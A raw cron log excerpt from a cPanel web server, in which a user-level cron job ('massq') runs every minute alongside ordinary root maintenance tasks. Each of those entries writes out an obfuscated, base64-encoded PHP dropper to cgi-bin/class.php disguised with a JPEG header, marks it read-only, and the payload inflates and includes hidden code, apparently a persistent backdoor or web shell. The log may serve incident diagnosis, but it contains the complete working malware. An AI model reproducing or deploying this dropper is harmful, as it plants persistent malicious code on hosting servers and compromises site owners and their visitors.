Nov  9 21:28:01 server CROND[25506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:29:01 server CROND[26319]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:30:01 server CROND[27139]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 21:30:01 server CROND[27141]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 21:30:01 server CROND[27143]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 21:30:01 server CROND[27140]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:31:01 server CROND[28075]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:32:01 server CROND[28900]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:33:01 server CROND[29369]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:34:01 server CROND[29939]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:35:01 server CROND[30517]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 21:35:01 server CROND[30518]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 21:35:01 server CROND[30522]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 21:35:01 server CROND[30520]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 21:35:01 server CROND[30524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:36:01 server CROND[31165]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:37:01 server CROND[31871]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:38:01 server CROND[32680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:39:01 server CROND[1148]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:39:01 server CROND[1149]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 21:40:01 server CROND[1755]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 21:40:01 server CROND[1756]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 21:40:01 server CROND[1757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 21:40:01 server CROND[1758]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
